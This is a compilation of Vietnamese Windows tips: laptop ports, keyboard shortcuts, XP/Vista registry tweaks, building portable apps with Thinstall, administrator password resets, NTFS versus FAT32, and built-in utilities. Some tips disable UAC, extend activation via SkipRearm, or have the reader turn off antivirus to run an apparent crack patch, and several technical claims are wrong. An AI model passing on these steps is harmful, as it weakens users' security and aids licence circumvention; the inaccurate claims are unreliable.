IEEE 1394 hay FireWire/i.Link : IEEE 1394 là chuẩn thường được sử dụng để thu lại phim từ máy quay vào máy tính do tốc độ truyền dữ liệu cao hơn USB 2.0. Do không hề sử dụng tài nguyên CPU cho việc truy xuất dữ liệu nên rất thích hợp cho các tác vụ đòi hỏi tập trung xử lý cao như phim ảnh hoặc chạy ứng dụng. Hiện tại IEEE1394 có 2 chuẩn là FW400 và FW800 với tốc độ truyền dữ liệu tương ứng 400 Mbps và 800 Mbps.
Cổng xuất hình ảnh thế hệ mới :
- HDMI Out: Laptop hiện đại được trang bị cổng HDMI để kết nối với màn hình LCD hoặc HDTV thế hệ mới. Mặc dù hiện tại đây vẫn là tính năng cao cấp nhưng nó sẽ sớm trở thành chuẩn thông dụng.
- Display Port: Đây là kết nối được thiết kế thay thế cho VGA/DVI hiện tại. Với ưu thế nhỏ gọn, không thuộc sở hữu của công ty cá nhân nào, Display Port có tương lai khá sáng sủa. Tuy nhiên, sự phát triển mạnh mẽ của HDMI đã gây trở ngại chút ít cho Display Port. Hiện tại, A**** là một trong những hãng tích hợp giao tiếp Displayport trên toàn bộ các dòng sản phẩm laptop cũng như màn hình hiện đại của chính mình.
- Số cell của pin: Một cục pin của laptop thường gồm nhiều cục pin nhỏ bên trong gọi là cell. Pin càng nhiều cell thì càng nuôi được hoạt động của máy tính lâu hơn. Chính vì thế, nếu bạn muốn sử dụng laptop trên đường di chuyển xa, bạn nên tính tới việc mua thêm pin mở rộng với số cell thường là gấp đôi so với pin chuẩn đi kèm máy.
Ví dụ như ở EEE PC hay Aspire One, nếu như pin 3-cell chuẩn chỉ cho máy hoạt động khoảng 3 giờ thì với pin 6 cell bạn có thể dùng trên 6 giờ mới phải sạc lại. Dĩ nhiên, số cell nhiều đồng nghĩa với việc pin sẽ to, nặng và đắt tiền hơn.
- WWAN Internet (HSDPA và EV-DO) : Một số mẫu laptop siêu di động thường hỗ trợ kết nối Internet qua mạng điện thoại di động. Thông dụng nhất hiện nay là hai giao tiếp HSDPA và EV-DO. Tuy nhiên, ở Việt Nam chúng ta mới sử dụng được EV-DO trên một số mạng CDMA, ví dụ như S-Fone. Nếu như máy bạn không tích hợp sẵn WWAN, bạn vẫn có thể mua thiết bị USB hoặc Expresscard để bổ sung khi cần.
- eSATA : eSATA (External ATA) cho phép bạn kết nối các ổ SATA hoặc eSATA bên ngoài vào máy tính để đạt tốc độ truy cập cao (tương đương với các cổng SATA-II 3 Gbps trên bo mạch chủ). Tuy nhiên, cáp eSATA khác với SATA chút ít (dù cho chúng tương thích hoàn toàn về mặt kỹ thuật).
Trong một số trường hợp, bạn sẽ cần adapter chuyển để lắp trực tiếp các ổ SATA thông thường vào cổng eSATA. Bên cạnh đó, bạn cũng cần chú ý rằng đường tín hiệu eSATA không có khả năng cấp nguồn nên ổ eSATA buộc phải có đường điện ngoài thông qua adapter nên không được tiện lợi như một số mẫu USB.
- Bàn phím Back-lit : Xu thế của các loại bàn phím hiện đại là có đèn nền bên dưới phím cho phép người dùng sử dụng trong đêm tối. Sau A**** với Macbook Pro, lần lượt các nhà sản xuất laptop đều đưa ra tùy chọn với bàn phím phát sáng cho sản phẩm của mình như Alienware, Dell, HP... Nếu thường xuyên sử dụng máy trong bóng tối, bạn sẽ thấy đây là tính năng khá hữu ích. Tuy nhiên, nó sẽ ngốn thêm pin chút ít.
Windows 7 có một hệ thống những phím tắt mới giúp bạn dễ dàng hơn trong việc quản lý các cửa sổ Bạn hãy cùng thử nghiệm nhé.
[Windows Up] - Mở lớn của sổ đang duyệt.
[Windows Down] - Thu nhỏ cửa sổ hoặc quay về kích thước trước khi mở lớn.
[Windows Left] - Đưa thanh Dock sang phía trái
[Windows Right] - Đứa thanh Dock sang bên phải
[Windows Shift Up] - Tối đa hóa chiều dọc cửa sổ
[Windows Shift Down] - Quay lại kích thước ban đầu
[Windows Shift Left] - Đưa của sổ sang bên trái màn hình
[Windows Shift Right] -Đưa cửa sổ sang bên phải màn hình
Thủ thuật Registry, Windows Vista, Windows XP
Đôi khi, việc cấu hình Windows theo mong muốn của bạn cần phải thực hiện trong Registry Editor. Những thủ thuật đơn giản dưới đây có thể giúp bạn tiết kiệm thời gian và giải quyết được nhiều vấn đề. Nếu đọc bất kì bài viết nào về hiệu chỉnh registry, bạn sẽ thấy những lời cảnh bảo xấu cho biết rằng Windows hoặc các ứng dụng có thể bị phá hủy nếu hiệu chỉnh registry không chính xác, và trước khi hiệu chỉnh cần phải backup hệ thống hoàn toàn. Nếu những cảnh báo này là chính xác, thì có nhiều việc bạn có thể thực hiện bằng cách hiệu chỉnh registry lại không thể thực hiện được với GUI. Trong bài viết này, tôi muốn chia sẻ 10 thủ thuật registry cho Windows XP và Vista.
1. Hủy bỏ AutoPlay: Bạn luôn thấy bất tiện mỗi khi cho đĩa CD TechNet vào ổ CDROM và Windows tự động mở trình duyệt Internet Explorer hiển thị những thông tin mà bạn không hề quan tâm. Bạn muốn truy nhập thẳng vào hệ thống file của đĩa và xem những thông tin cần thiết. May mắn thay, tạo lập cài đặt registry để loại bỏ AutoPlay thật dễ dàng:
1. Vào Run gõ regedit. Cửa sổ Registry Editor hiện ra, sau đó vào HKEY_LOCAL_MACHINE Software Microsoft Windows CurrentVersion Policies Explorer.
2. Tạo một DWORD lấy tên là NoDriveTypeAutoRun.
3. Thiết lập giá trị là 000000FF.
Tăng lượng file tải đồng thời Nếu là người chuyên viết bài về kĩ thuật, bạn sẽ phải thường xuyên tải dữ liệu. Đôi khi bạn cần tải rất nhiều file nhưng Windows lại giới hạn lượng file tải đồng thời. Khigặp phải tình huống này, bạn có thể thay đổi registry để Windows cho phép tải nhiều file một lúc:
1. Vào Run gõ regedit. Xuất hiện cửa sổ Registry Editor. Sau đó vào HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Internet Settings.
2. Tạo mới một DWORD lấy tên là MaxConnectionsPerServer và đặt giá trị là 0000000a.
3. Tạo mới một DWORD khác lấy tên là MaxConnectionsPer1_0Server và lấy giá trị là 0000000a.
Thay đổi tên của người dùng đã đăng ký Khi cài đặt Windows, bạn được nhắc nhở nhập tên người dùng và tên công ty. Nhưng những tên công ty lại rất dễ trùng nhau, do đó có thể bạn sẽ muốn thay đổi tên của công ty đã được đăng ký với Windows bằng cách sau:
1. Vào Run gõ regedit. Cửa sổ Registry Editor hiện ra, tìm đến HKEY_LOCAL_MACHINE Software Microsoft Windows NT CurrentVersion.
2. Sau đó thay đổi thông tin đã đăng ký trong RegisteredOwner và RegisteredOrganization.
Chống xóa Recycle Bin Phải chuột vào Recycle Bin, bạn sẽ thấy có một tùy chon Delete đươc dùng để xóa bỏ nó. Nếu bạn không muốn xóa nhầm hãy thực hiện các thao tác sau đây:
1. Vào Run gõ regedit. Cửa sổ Registry Editor xuất hiện, vào HKEY_CLASSES_ROOT CLSID {645FF040-5081-101B-9F08-00AA002F954E}.
2. Tạo một key đăng ký mới đặt tên là Shell
3. Trong key Shell, tạo một key khác lấy tên là Delete. Đường dẫn vào key Delete sẽ là HKEY_CLASSES_ROO CLSID {645FF040-5081-101B-9F08-00AA002F954E} Shell Delete.
4. Nhập giá trị của Recycle Bin thay cho giá trị mặc định của key Delete.
Xóa bỏ thông tin đăng nhập lưu trên bộ nhớ đệm Windows được lập trình cho phép người dùng đăng nhập sử dụng thông tin đăng nhập lưu trên bộ nhớ đệm nếu không có miền điều khiển xác thực yêu cầu. Nếu bạn muốn chắc chắn yêu cầu đăng nhập được xác thực bởi một miền điều khiển, bạn có thể thay đổi lượng thông tin cho phép lưu trên bộ nhớ đệm từ 10 xuống 0 (hoặc bạn có thể tăng lên đến 50). Bạn chỉ cần thực hiện theo các bước sau:
1. Vào Run gõ regedit. Cửa sổ Registry Editor hiện ra, vào HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionwinlogon.
2. Tạo một cài đặt REG_SZ mới đặt tên là CachedLogonsCount.
3. Nhập số lượng thông tin cho phép lưu trữ vào giá trị của cài đặt mới này.
Mã hóa và giải mã từ một menu tắt Thông thường, khi muốn mã hóa và giải mã một file trong Windows XP Pro hay Vista, bạn cần phải chuột lên file hay folder và chọn Properties trên menu tắt. Khi trang Properties xuất hiện, click nút Advanced trên tab General và chọn Encrypt (mã hóa) hoặc Decrypt (giải mã). Làm như vậy thật rắc rối, bạn có thể thêm những tùy chọn này vào menu tắt và sẽ thấy chúng khi phải chuột lên file:
1. Vào Run gõ regedit. Cửa sổ Registry Editor hiện ra, sau đó vào HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion ExplorerAdvanced.
2. Sau đó tạo một DWORD mới đặt tên là EnCryptionContextMenu và gán giá trị là 1.
Trì hoãn kích hoạt Windows Thông thường, khi một tổ chức triển khai Vista, nó sẽ tạo ra một hình ảnh chủ, khởi chạy SYSPREP, và phát tán hình ảnh này. Nhưng vấn đề là thời điểm đó có thể là khoảng thời gian giữa lúc SYSPREP được vận hành và Vista được thực sự triển khai. Microsoft chỉ cho phép bạn thực hiện kích hoạt trong vòng 30 ngày và bạn có thể thực hiện 3 lần. Tuy nhiên bạn có thể sử dụng thủ thuật registry để khắc phục hạn chế này:
1. Vào Run gõ regedit. Cửa sổ Registry Editor hiện ra, vào HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows NT CurrentVersion SL.
2. Thay đổi giá trị của key SkipReam là 1.
3. Mở cửa sổ Command Prompt và nhập vào lệnh slmgr -ream
Đổi vị trí file ngoại tuyến Khi sử dụng tính năng Offline Files của Vista, bộ nhớ tạm thời của file ngoại tuyến được tự động đặt ở ổ đĩa C: Nhưng máy laptop của bạn có 2 ổ đĩa và bạn muốn cài đặt cho Vista đặt những file offline vào ổ đĩa cứng thứ 2. Hãy thực hiện các bước sau:
1. Mở Control Panel và click vào Network And Internet Link, sau đó click vào liên kết Offline Files. Windows sẽ hiển thị trang Offline Files Properties.
2. Đổi trạng thái của Offline Files thành Disable nếu trạng thái của nó là Enable.
3. Click OK và khởi động lại máy.
4. Sau đó vào Run gõ regedit. Xuất hiện cửa sổ Registry Editor, truy cập vào HKEY_LOCAL_MACHINE System CurrentControlSet Services CSC.
5. Tạo một giá trị String mới đặt tên là Parameters.
Gán giá trị ??e:csc cho Parameters. (trong đó e: là tên ổ đĩa muốn sử dụng). Sau đó:
1. Thoát khỏi Registry Editor và khởi động lại máy tính.
2. Đổi trạng thái của Offline Files thành Enable
3. Khởi động lại máy để hoàn tất cài đặt.
Bỏ tính năng User Account Control: Một trong những tính năng của Vista mà người dùng không hài lòng đó là User Account Control. Thực chất, admin được coi như một người dùng chuẩn. Trong khi thực hiện việc quản trị, admin nhận được lời nhắc xem họ có muốn thực hiện thao tác hay không. Lời nhắc này rất hữu ích giúp chống lại malware, nhưng nhiều người lại không muốn thấy nó. Bạn chỉ cần thực hiện các bước sau đây:
1. Vào Run gõ regedit. Cửa sổ Registry Editor hiện ra, vào HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesSystem.
2. Thay đổi giá trị của key ConcentPromptBehaviorAdmin thành 00000000.
Ẩn tên người đăng nhập cuối: Windows Vista được lập trình khi bạn ấn Ctrl+Alt+Del để đăng nhập nó sẽ hiển thị tên người dùng đăng nhập gần nhất. Việc này có thể có chút phiền toái nếu nhiều người dùng chung một máy. Họ có thể quên kiểm tra ai đã đăng nhập trước đó và chìa khóa trong mật khẩu riêng của họ lại liên quan tới tên đăng nhập của một người dùng khác. Nếu họ thử quá số lần cho phép thì tài khoản người dùng khác đó sẽ bị khóa. Bạn có thể khắc phục vấn đề này bằng cách thay đổi registry một chút để Windows không hiển thị tên của người dùng đăng nhập trước đó.
1. Vào Run gõ regedit. Cửa sổ Registry Editor xuất hiện, tìm đến HKEY_LOCAL_MACHINE Software Microsoft Windows CurrentVersion Policies System.
2. Đặt giá trị của key DontDisplayLastName là 1.
Read more: http://vnnewbies.com/10-thu-thuat-registry-trong-windows-xp-va-vista#ixzz0chM5wb9T
Hướng Dẫn Làm Portable.(Phần mềm ko cần cài đặt)
Ngày nay các tiện ích - phần mềm dạng "portable - cầm tay" được cài đặt và sử dụng trực tiếp trên USB hay các thiết bị di động khác đang được ưu chuộng bởi tính năng linh hoạt ở trường hợp sử dụng máy tính khác bên ngoài, mà khi không còn sử dụng nữa lại không hề ảnh hưởng đến hệ thống máy tính của họ, và nó là tiện ích ứng dụng cầm tay không thể thiếu đối những người dùng máy tính chuyên nghiệp.
Mặc dù bạn không khó khi tìm các ứng dụng phần mềm thông dụng dạng portable bằng cỗ máy tìm kiếm Google nhưng đôi lúc cũng có những tiện ích mà bạn cần dùng khi đi công tác xa nhà thì trên mạng Internet lại chưa có để bạn tải về.
Bài viết này sẽ cung cấp một giải pháp để bạn tự tay bào chế "portable Software" thật đơn giản với phần mềm Thinstall Setup Capture 3.049 , đồng thời bài viết cũng được xem như một phần nào giải đáp về nguyên lý khởi tạo các ứng dụng phần mềm Portable.
Đầu tiên, bạn nên tắt hết các ứng dụng đang chạy cùng một số ứng dụng chạy nền khác như chương trình diệt virus, spyware,... Khởi động chương trình Thinstall, màn hình Setup Capture xuất hiện, bạn nhấn nút Start (lưu ý đảm bảo đánh dấu check vào hai mục khóa regedit mà chương trình khuyến cáo) và chọn phân vùng cài đặt hệ điều hành à Pre-Install Scan để bắt đầu quét toàn bộ hệ thống files và ghi nhận các khóa regedit.
Quá trình này sẽ diễn ra trong vài phút và thời gian phụ thuộc vào máy tính của bạn, mục đích của quá trính là ghi nhận lại tình trạng ban đầu của hệ thống trước khi cài đặt phần mềm để khởi tạo ứng dụng portable của phần mềm đó.
Sau khi quá trình kết thúc, bạn đừng vội nhấp tiếp nút Post-Install Scan mà hãy cài đặt tiện ích hay ứng dụng nào mà bạn muốn tạo khởi tạo dạng portable cho chính tiện ích - ứng dụng này (lưu ý phải cài đặt trên phân vùng ổ đĩa chứa hệ đều hành, không được cài liên tiếp hai ứng dụng cùng lúc, chỉ cài đặt một ứng dụng mà thôi, nếu như quá trình cài đặt gặp sự cố thì bạn đóng chương trình Thinstall lại và thực hiện lại các bước ở thời gian đầu)
Tiếp đến khi đã cài xong tiện ích, bạn nhấn nút Post-Install Scan để chương trình quét mẩu hệ thống lần nữa, từ đó xuất ra những sự thay đổi so với mẫu hệ thống quét ghi nhận ở bước đầu, mục đích của việc làm này chính là rút ra những thông tin đăng ký vào hệ thống của tiện ích mà bạn vừa cài đặt vào máy tính để khởi tạo portable.
Lưu ý quá trình quét lấy mẫu lần 2 sẽ chậm hơn lần trước, trong vài phút màn hình sẽ xuất hiện yêu cầu bạn chọn thư mục cần lưu lại thông tin trích xuất thay đổi. ở bước này, bạn nên để mặc định theo cấu trúc C:\Program Files\Thinstall\Captures\**** (trong đó **** là tên file do chương trình tự động phát sinh dựa theo thời gian hiện hành) à Nhấn nút Save Results.
Cuối cùng là bạn vào truy cập vào thư mục theo đường dẫn Crogram FilesThinstallCapturesXXXX, tìm đến và kích hoạt file có tên là build.bat để bắt đầu xây dựng ứng dụng portable. Sau khi quá trình xây dựng kết thúc, bạn tìm đến thư mục "bin" và ứng dụng mới khởi tạo của bạn sẽ nằm tại thư mục này.
Tuy nhiên một vấn đề là bạn chưa có thể chạy thử ngay ứng dụng, mà bạn phải dùng file có tên "Patch 3.049.exe" để hợp hóa ứng dụng và tập tin này được đính kèm theo bộ cài đặt tại thư mục cài đặt chương trình Thinstall (ví dụ Crogram FilesThinstall).
Thực hiện Patch file bằng cách nhấp vào tập tin đó và duyệt đến thư mục "bin" chứa ứng dụng đó, chọn tập tin ứng dụng exe à Nhấp Open.
Thế là xong, bạn có thể chép tập tin Exe của ứng dụng này vào thiết bị USB để dành dùng vào thời điểm thích hợp trên bất kì máy tính nào mà không cần mất thời gian cài đặt ứng dụng đó nữa, ưu điểm là tránh được phiền hà ảnh hưởng đến máy tính mà bạn mượn sử dụng... Đó là ứng dụng tuyệt vời của portable. Download
http://www.box.net/index.php?rm=box_v2_download_shared_file&file_id=f_56003592
Cách đăng nhập Windows XP khi quên hoặc làm mất mật khẩu -
Đây là bài giới thiệu cách đăng nhập vào Windows XP nếu bạn quên hoặc làm mất mật khẩu mà không thể tạo một mật khẩu mới.
Chú ý: Nếu không thể tạo được một đĩa khôi phục mật khẩu và lại quên mật khẩu của tất cả các tài khoản người dùng, bạn sẽ không thể đăng nhập vào Windows hiện thời vì lý do an toàn. Thông tin này áp dụng để khởi động vào Windows XP từ chế độ Safe mode và Recovery Console. Trong trường hợp này, bạn phải thực hiện việc "xóa" cài đặt của Windows XP, tạo lại toàn bộ tài khoản người dùng và sau đó là cài đặt lại các chương trình cần thiết.
Để đăng nhập vào Windows XP, sử dụng một trong những cách sau đây:
Cách 1: Sử dụng đĩa khôi phục lại mật khẩu
• Nếu bạn đã tạo một đĩa khôi phục mật khẩu cho Windows XP, hãy xác lập lại mật khẩu bằng cách sử dụng đĩa đó.
• Để có thêm thông tin về cách sử dụng đĩa khôi phục lại mật khẩu, bạn các bài tương ứng sau:
• Tạo và sử dụng đĩa khôi phục mật khẩu cho máy tính là thành viên miền trong Windows XP
• Tạo và sử dụng đĩa khôi phục mật khẩu cho máy tính không phải thành viên miền trong Windows XP
Cách 2: Đăng nhập vào với quyền quản trị viên (Administrator) để đặt lại mật khẩu
Nếu bạn không thể đăng nhập vào Windows bằng cách sử dụng tài khoản người dùng cụ thể (bao gồm cả các tài khoản Administrator và Computer Administrator), thì vẫn có thể đăng nhập với một tài khoản khác cũng có khả năng quản trị bằng cách làm theo những bước sau:
Windows XP Home Edition hoặc Windows XP Professional
1. Đăng nhập vào Windows bằng cách sử dụng tài khoản quản trị viên, tài khoản mà bạn phải nhớ mật khẩu
Chú ý: Bạn không thể đăng nhập như thường xuyên sử dụng tài khoản Administrator hay Computer Administrator với máy tính nền tảng Windows XP Home Edition hoặc Windows XP Professinal trong một nhóm làm việc. Để đăng nhập vào với quyền Administrator hoặc Computer Administrator, bạn phải khởi động Windows XP trong chế độ Safe mode.
a. Khởi động lại máy tính
b. Nhấn phím CTRL + ALT + DELETE hai lần và sau đó nhập vào tên của tài khoản quản trị (thường là administrator)
c. Trong hộp Password, nhập vào mật khẩu của quản trị viên sau đó kích OK
Chú ý: Nếu mật khẩu của tài khoản quản trị là trống thì không gõ gì trước khi nhấn OK
2. Kích vào Start, chọn Run.
3. Trong phần Open, nhập vào dòng lệnh sau và kích OK:
control userpasswords2
4. Kích vào tài khoản người dùng mà bạn quên mật khẩu, và sau đó kích vào Reset Password.
5. Gõ mật khẩu mới trong New password và Confirm new password, sau đó kích OK.
Cảnh báo: Nếu bạn đặt lại mật khẩu cho tài khoản người dùng trong Windows XP Professional, những thông tin sau đây cho người dùng không còn nữa:
Thư điện tử đã được mã hóa.
Mật khẩu được lưu lại trên internet hoặc nhớ trong máy tính
Mọi file đã được người dùng mã hóa
Giờ thì bạn có thể đăng nhập vào Windows với tài khoản người dùng và mật khẩu mới. Những phần sau sẽ từng bước hướng dẫn để tạo lại mật khẩu cho một tài khoản điển hình trong chế độ Safe Mode bằng cách sử dụng Administrator (hoặc Computer Administrator).
Windows XP Home Edition hoặc Windows XP Professional trong nhóm làm việc
Đăng nhập vào với vai trò Administrator và đặt lại mật khẩu, thực hiện các bước sau:
1. Khởi động lại máy tính, sau đó Power On Self Test (POST), nhấn phím F8.
2. Trên menu Windows Advancek Options, sử dụng các phím mũi tên để lựa chọn Safe mode (chế độ an toàn), và sau đó ấn phím enter.
3. Khi có dấu nhắc để lựa chọn hệ điều hành khởi động, bạn hãy lựa chọn Microsoft Windows XP edition (edition là phiên bản của Windows XP đã cài), và sau đó ấn phím Enter.
4. Trên màn hình To begin, click your user name, kích vào Administrator.
5. Gõ vào mật khẩu quản trị viên, sau đó ấn phím enter.
Chú ý, trong vài trường hơp, mật khẩu Administrator có thể thiết lập một mật khẩu trống. Trong trường hợp này, không cần gõ mật khẩu trước khi ấn phím Enter.
6. Kích Yes để đồng ý Windows chạy ở chế đô an toàn.
7. Kích vào Start, chọn Control Panel (hoặc vào Settings, sau đó kích vào Control Panel).
8. Kích vào User accounts.
9. Kích vào tài khoản người dùng có mật khẩu bạn muốn đổi
10. Kích vào Change the password nếu bạn muốn giữ lại mật khẩu, hoặc chọn Remove password nếu không muốn sử dụng password. Nếu gỡ bỏ mật khẩu, thì bỏ qua bước 11.
11. Gõ mật khẩu mới dành cho người dùng, và chọn Change Password.
12. Đóng công cụ User Accounts, sau đó khởi động lại máy tính
Windows XP Professional trong một vùng
Đăng nhập vào với quyền Administrator để đặt lại mật khẩu, làm theo những bước:
1. Trong hộp thoại Welcome to Windows, nhấn tổ hợp phím Ctrl + Alt + Delete.
2. Gõ vào thông tin đăng nhập cho tài khoản Administrator, gồm cả mật khẩu, kích OK.
Chú ý mật khẩu Administrator có thể thiết lập một mật khẩu trống. Trong trường hợp này, không gõ mật khẩu trước khi chọn OK.
3. Kích Start, chọn Run, gõ compmgmt.msc, sau đó kích vào OK.
4. Trong hộp thoại Computer Management (Local), mở rộng Local Users and Groups.
5. Kích vào thư mục Users
6. Trong phần bên phải của cửa sổ Computer Management, kích đúng vào tài khoản người dùng của mật khẩu bạn muốn đặt lại, sau đó chọn Set Password.
7. Kích vào Proceed.
8. Trong hộp New password, gõ mật khẩu mới cho tài khoản người dùng.
9. Gõ lại mật khẩu trong hôp thoại Confirm password, và chọn OK
10. Kích vào OK để mật khẩu mới được thiết lập.
11. Thoát khỏi Comuter Management, sau đó khởi động lại máy tính.
Phân vùng quản lý tập tin chọn NTFS hay FAT32?
Mục này dành cho những câu hỏi mà tòa soạn nhận được thường xuyên nhất, chứng tỏ rất nhiều bạn đọc của tạp chí cần sự giúp đỡ giải quyết cụ thể, khả thi. Chúng tôi hy vọng mục này sẽ phục vụ thiết thực cho bạn đọc theo thứ tự ưu tiên về số lượng người hỏi. Có những vấn đề tưởng như rất "đau đầu" nhưng có thể được giải quyết khá đơn giản và ngược lại. Bài viết được thực hiện theo kỳ vọng trình bày vấn đề một cách đầy đủ và đưa ra một trong những cách giải quyết trọn vẹn vấn đề. Kỳ này, mời các bạn cùng chia sẻ vấn đề hệ thống tập tin NTFS và FAT32.
Trong hai kỳ trước, chúng tôi đề cập những vấn đề đến liên quan đến bảo mật, quyền hạn truy cập tập tin, thư mục... trong Windows NT/2000/XP (nhất là các máy tính nhiều người cùng sử dụng). Vậy bạn nên chọn phân vùng kiểu NTFS hay FAT32 khi cài đặt hệ điều hành Windows NT/2000/XP? Khi cài đặt nhiều hệ điều hành trên cùng một máy?
Trên thực tế và qua nhiều câu hỏi của bạn đọc; bất kể là MS-DOS, Windows 9x, Windows XP, Unix hay Linux thì bản thân các hệ điều hành này đều sử dụng một hệ thống tập tin có chức năng hỗ trợ tổ chức, kiểm soát tập tin và dữ liệu được lưu trên ổ đĩa, đảm bảo việc truy cập dữ liệu được nhanh chóng và an toàn. Tuy các hệ thống tập tin có cùng một chức năng nhưng bản chất chúng lại rất khác nhau.
Muốn cài đặt nhiều hệ điều hành (HĐH) trên cùng một máy tính, trước tiên bạn phải biết loại hệ thống tập tin mà hệ điều hành đó hỗ trợ và sự khác biệt giữa những hệ thống này. (Xem bảng so sánh tính năng giữa NTFS và FAT16 và FAT32).
FAT16. Với HĐH MS-DOS, hệ thống tập tin FAT (FAT16 - để phân biệt với FAT32) được công bố vào năm 1981 đưa ra một cách thức mới về việc tổ chức và quản lý tập tin trên đĩa cứng, đĩa mềm. Tuy nhiên, khi dung lượng đĩa cứng ngày càng tăng nhanh, FAT16 đã bộc lộ nhiều hạn chế. Với không gian địa chỉ 16 bit, FAT16 chỉ hỗ trợ đến 65.536 liên cung (clusters) trên một partition, gây ra sự lãng phí dung lượng đáng kể (đến 50% dung lượng đối với những ổ đĩa cứng trên 2 GB).
FAT32. giới thiệu trong phiên bản Windows 95 Service Pack 2 (OSR 2), được xem là phiên bản mở rộng của FAT16. Do sử dụng không gian địa chỉ 32 bit nên FAT32 hỗ trợ nhiều cluster trên một partition hơn, do vậy không gian đĩa cứng được tận dụng nhiều hơn. Ngoài ra với khả năng hỗ trợ kích thước của phân vùng từ 2GB lên 2TB và chiều dài tối đa của tên tập tin được mở rộng đến 255 ký tự đã làm cho FAT16 nhanh chóng bị lãng quên. Tuy nhiên, nhược điểm của FAT32 là tính bảo mật và khả năng chịu lỗi (Fault Tolerance) không cao.
NTFS (New Technology File System) được giới thiệu cùng với phiên bản Windows NT đầu tiên (phiên bản này cũng hỗ trợ FAT32). Với không gian địa chỉ 64 bit, khả năng thay đổi kích thước của cluster độc lập với dung lượng đĩa cứng, NTFS hầu như đã loại trừ được những hạn chế về số cluster, kích thước tối đa của tập tin trên một phân vùng đĩa cứng.
NTFS sử dụng bảng quản lý tập tin MFT (Master File Table) thay cho bảng FAT quen thuộc nhằm tăng cường khả năng lưu trữ, tính bảo mật cho tập tin và thư mục, khả năng mã hóa dữ liệu đến từng tập tin. Ngoài ra, NTFS có khả năng chịu lỗi cao, cho phép người dùng đóng một ứng dụng "chết" (not responding) mà không làm ảnh hưởng đến những ứng dụng khác. Tuy nhiên, NTFS lại không thích hợp với những ổ đĩa có dung lượng thấp (dưới 400 MB) và không sử dụng được trên đĩa mềm.
Với một số dữ liệu hoặc ứng dụng cần được chia sẻ giữa các hệ điều hành, bạn nên lưu trữ trên phân vùng được định dạng theo FAT16 hay FAT32.
Nếu không quan tâm đến vấn đề bảo mật, các dữ liệu được lưu trữ trên partition FAT16/32 có thể được bất kỳ người dùng nào (thậm chí truy cập qua mạng) đọc, chỉnh sửa và xóa. Vì thế, bạn không nên lưu những dữ liệu quan trọng trên partition được định dạng FAT16 hay FAT32.Với NTFS thì khác, bạn có thể sử dụng khả năng mã hóa của Windows NT kết hợp với tính bảo mật của NTFS để chia sẻ cũng như mã hóa dữ liệu cá nhân.
Để biết hệ thống tập tin nào đang sử dụng, bạn mở My Computer, nhấn chuột lên ổ đĩa cần kiểm tra, chọn Properties và đọc thông tin ở mục Genaral (hình).
Để chuyển đổi từ FAT32 sang NTFS trong Windows 2000/XP, bạn có thể sử dụng lệnh "convert" theo cú pháp sau:
- Chọn Start.Run, nhập cmd; nhấn OK.
- Thực hiện lệnh sau : Convert C: /FS:NTFS (với C: là tên ổ đĩa)
Tuy nhiên, để chuyển đổi ngược từ NTFS sang FAT32 mà không làm mất dữ liệu, bạn phải sử dụng những phần mềm chuyên dụng như Symantec PartitionMagic (www.symantec.com/partitionmagic/)
Tóm lại, việc lựa chọn định dạng NTFS, FAT16 hay FAT32 là một câu hỏi mà lời giải đáp tùy thuộc vào yêu cầu từng người dùng. Đối với hầu hết người sử dụng Windows XP thì NTFS là sự lựa chọn tất yếu. NTFS có nhiều ưu điểm và tính năng bảo mật cao hơn so với những hệ thống tập tin khác. Tuy nhiên, vì một số yêu cầu riêng, chẳng hạn khi muốn cài Windows 9x và Windows XP trên cùng một máy, bạn cần sử dụng hệ thống tập tin FAT32.
chương trình ẩn trong Windows.
Để chạy một trong các chương trình này bạn vào menu Start >> Run và gõ tên file thực thi, Ví dụ như gõ: charmap và ấn Enter để chạy chương trình
1. Character Map = charmap.exe (rất hữu dụng trong việc tìm kiếm các ký tự không thông dụng)
2. Disk Cleanup = cleanmgr.exe (dọn dẹp đĩa để tăng dung lượng trống)
3. Clipboard Viewer = clipbrd.exe (Xem nội dung của Windows clipboard)
4. Dr Watson = drwtsn32.exe (Công cụ gỡ rối)
5. DirectX diagnosis = dxdiag.exe (Chẩn đoán và thử DirectX, card màn hình & card âm thanh)
6. Private character editor = eudcedit.exe (cho phép tạo ra hoặc sửa đổi các ký tự (nhân vật?))
7. IExpress Wizard = iexpress.exe (Tạo ra các file nén tự bung hoặc các file tự cài đặt)
8. Mcft Synchronization Manager = mobsync.exe (cho phép đồng bộ hóa thư mục trên mạng cho làm việc Offline. Không được cung cấp tài liệu rõ ràng).
9. Windows Media Player 5.1 = mplay32.exe (phiên bản cũ của Windows Media Player, rất cơ bản).
10. ODBC Data Source Administrator = odbcad32.exe (Làm một số việc với các cơ sở dữ liệu)
11. Object Packager = packager.exe (Làm việc với các đối tượng đóng gói cho phép chèn file vào, có các file trợ giúp toàn diện).
12. System Monitor = perfmon.exe (rất hữu ích, công cụ có tính cấu hình rất cao, cho bạn biết mọi thứ bạn muốn biết về bất kỳ khía cạnh nào của hiệu suất PC, for uber-geeks only )
13. Program Manager = progman.exe (Legacy Windows 3.x desktop shell).
14. Remote Access phone book = rasphone.exe (Tài liệu là ảo, không tồn tại).
15. Registry Editor = regedt32.exe [also regedit.exe] (dành cho việc chỉnh sửa Windows Registry).
16. Network shared folder wizard = shrpubw.exe (Tạo các thư mục được chia sẻ trên mạng).
17. File siganture verification tool = sigverif.exe
18. Volume Contro = sndvol32.exe (Tôi bổ sung cái này cho những người bị mất nó từ vùng cảnh báo của hệ thống).
19. System Configuration Editor = sysedit.exe (Sửa đổi System.ini & Win.ini giống như Win98! ).
20. Syskey = syskey.exe (bảo mật cơ sở dữ liệu tài khoản WinXP - cẩn thận khi sử dụng, Nó không được cung cấp tài liệu nhưng hình như nó mã hóa tất cả các mật khẩu, Tôi không chắc về chức năng đầy đủ của nó).
21. Mcft Telnet Client = telnet.exe
22. Driver Verifier Manager = verifier.exe (có vẻ như là một tiện ích theo dõi hoạt động của các Driver(trình điều khiển) phần cứng ,có thể hữu ích đối với người gặp sự cố với các Driver. Khộng được cung cấp tài liệu)
23. Windows for Workgroups Chat = winchat.exe (Xuất hiện như là 1 tiện ích WinNT cũ cho phép chat trong mạng LAN,có file trợ giúp).
24. System configuration = msconfig.exe (Có thể sử dụng để quản lý các chương trình khởi động cùng với Windows)
25. gpedit.msc được sử dụng để quản lý các chính sách nhóm và các quyền hạn.
